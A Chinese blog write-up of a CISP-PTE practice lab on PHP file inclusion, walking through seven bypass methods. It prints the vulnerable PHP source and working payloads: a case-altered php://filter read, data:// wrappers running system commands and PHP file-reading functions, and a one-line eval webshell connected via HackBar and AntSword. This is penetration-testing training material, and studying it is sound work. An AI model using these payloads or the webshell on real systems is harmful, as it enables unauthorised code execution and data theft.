CISP-PTE 文件包含9(七种方法渗透)

目录

一、渗透准备

1、打开靶场

2、源码分析

二、渗透实战

1、方法1:php://filter大小写绕过

2、data伪协议利用

(1)查看当前目录文件(成功)

(2)方法2:cat查看key

(3)方法3:more查看key

(4)方法4:file_get_contents查看key

[(5)方法5:high light查看key](#(5)方法5:high light查看key)

(6)方法:show_source查看key

3、方法7:data协议连接木马

(1)hackbar连接木马

(2)蚁剑工具连接木马

(3)获取key值

4、查看源码


本文详细讲解CISP-PTE靶场文件包含关卡渗透测试的全过程。通过分析源码发现靶场使用str_replace()过滤"php://"和"https://",但存在多种绕过方式。实战中展示了7种渗透方法:

  • 1)利用PHP协议大小写不敏感特性绕过过滤;
  • 2)使用data伪协议执行系统命令(cat/more)或PHP函数(file_get_contents/highlight_file)读取key.php;
  • 3)通过data协议植入webshell并用蚁剑连接获取key。

一、渗透准备

1、打开靶场

打开靶场,页面如下所示(http://e00907be.clsadp.com/)。

2、源码分析

这段PHP代码实现了一个不安全的文件包含功能,它通过str_replace函数对用户输入的file参数进行黑名单过滤,移除其中的"php://""https://"协议字符串,试图阻止攻击者利用这些协议进行恶意文件包含,但过滤后直接将处理结果传递给include函数执行,这种简单的单次字符串替换机制存在严重安全缺陷,无法有效防御双写绕过和其他未过滤协议的攻击,最终可能被利用来读取系统文件、执行远程代码或包含恶意脚本。

复制代码
<meta charset="utf8">
<?php
show_source(__FILE__);  // 显示当前文件的源代码
$file = $_GET["file"];  // 从GET参数获取file值

// 安全过滤:移除字符串中的 "php://" 和 "https://"
$file = str_replace( array( "php://", "https://" ), "", $file );

include($file); // 包含并执行指定文件,目标是包含key.php
?>

代码使用 str_replace() 过滤两种协议,由于 str_replace() 只进行一次简单替换,攻击者可以通过双写来绕过:

  • php:// - PHP内置协议,常用于文件包含攻击

  • https:// - 远程HTTPs协议

二、渗透实战

1、方法1:php://filter大小写绕过

大小写绕过成功的根本原因在于PHP协议解析的容错性安全过滤的严格性不匹配,如下所示。

PHP://filter/read=convert.base64-encode/resource=key.php

复制代码
http://e00907be.clsadp.com/?file=PHP://filter/read=convert.base64-encode/resource=key.php

解压后如下所示,成功获取flag值。

这是因为PHP协议解析的容错性很宽容, PHP的流包装器解析器对协议名称不区分大小写

复制代码
// 以下所有形式PHP都能正确识别为php协议
file_get_contents("php://filter/...");
file_get_contents("PHP://FILTER/..."); 
file_get_contents("PhP://FiLtEr/...");

2、data伪协议利用

(1)查看当前目录文件(成功)

构造payload查看当前目录下文件,如下所示这段Data协议Payload通过PHP的scandir(".")函数列出来当前目录下的所有文件和文件夹,其中data:/text/plain,是经过变异的协议标识符(使用单斜杠可能用于绕过某些安全过滤),而<?php print_r(scandir(".")); ?>是实际执行的PHP代码,其功能是扫描并打印Web应用程序当前工作目录的完整文件列表

data:/text/plain,,<?php print_r(scandir(".")); ?>

http://e00907be.clsadp.com/?file=data:/text/plain,,\<?php print_r(scandir(".")); ?>

如下所示,渗透成功,当前目录存在key.php。

(2)方法2:cat查看key

构造payload查看key,如下所示Data协议Payload通过PHP的system函数直接执行系统命令cat key.php来读取当前目录下key.php文件的原始内容,其中data:/text/plain,是使用单斜杠变异的协议格式(可能用于绕过安全检测),而<?php system('cat key.php');?>是实际执行的恶意代码,该指令会在服务器操作系统层面直接输出key.php文件的完整代码内容

data:/text/plain,<?php system('cat key.php');?>

http://e00907be.clsadp.com/?file=data:/text/plain,\<?php system('cat key.php');?>

(3)方法3:more查看key

data:/text/plain,<?php system('more key.php');?>

http://e00907be.clsadp.com/?file=data:/text/plain,\<?php system('more key.php');?>

(4)方法4:file_get_contents查看key

data:/text/plain,<?php echo file_get_contents('key.php');?>

http://e00907be.clsadp.com/?file=data:/text/plain,\<?php echo file_get_contents('key.php');?>

(5)方法5:high light查看key

复制代码
data:/text/plain,<?php highlight_file('key.php');?>
复制代码
使用highlight_file高亮显示 - 语法高亮输出

(6)方法:show_source查看key

data:text/plain, <?php show_source('key.php');?>

http://e00907be.clsadp.com/?file=data:text/plain, <?php show_source('key.php');?>

3、方法7:data协议连接木马

(1)hackbar连接木马

构造data协议木马:data:,<?php eval($_POST[ljn]);?>

http://e00907be.clsadp.com/?file=data:,\<?php eval($_POST[ljn]);?>

hackbar连接木马,如下所示执行phpinfo函数成功,说明木马有效。

(2)蚁剑工具连接木马

http://e00907be.clsadp.com/?file=data:,\<?php eval($_POST[ljn]);?>

(3)获取key值

在当前目录下发现key.php ,如下所示双击打开后即可获取到key值。

4、查看源码

如下所示查看源码,位置为/var/www/html/index.php,这与我们刚刚进入靶场效果一样。

相关推荐
mooyuan天天1 天前
CISP-PTE 命令执行8
cisp-pte·命令执行·命令执行漏洞
mooyuan天天1 天前
CISP-PTE SQL注入3(两种方法渗透:手注法+sqlmap法)
cisp-pte·sql注入·sqlmap·sql注入漏洞
mooyuan天天2 天前
CISP-PTE SQL注入8(万能密码+sqlmap脚本 共5种方法)
cisp-pte·sql注入·sqlmap·sql注入漏洞·万能密码
mooyuan天天2 天前
CISP-PTE 文件包含5
cisp-pte·文件包含·文件包含漏洞
mooyuan天天4 天前
CISP-PTE 文件包含1(php://filter 伪协议)
cisp-pte·文件包含·文件包含漏洞·php filter·文件包含伪协议
mooyuan天天4 天前
CISP-PTE 命令执行9
cisp-pte·命令执行·命令执行漏洞
mooyuan天天5 天前
CTF-PTE 文件包含8(八种渗透方法)
cisp-pte·文件包含·文件包含漏洞
mooyuan天天6 天前
CISP-PTE SQL注入2(两种方法渗透:手注+sqlmap)
cisp-pte·sql注入·sqlmap·sql注入漏洞
mooyuan天天6 天前
CTF-PTE 日志分析3
cisp-pte·日志分析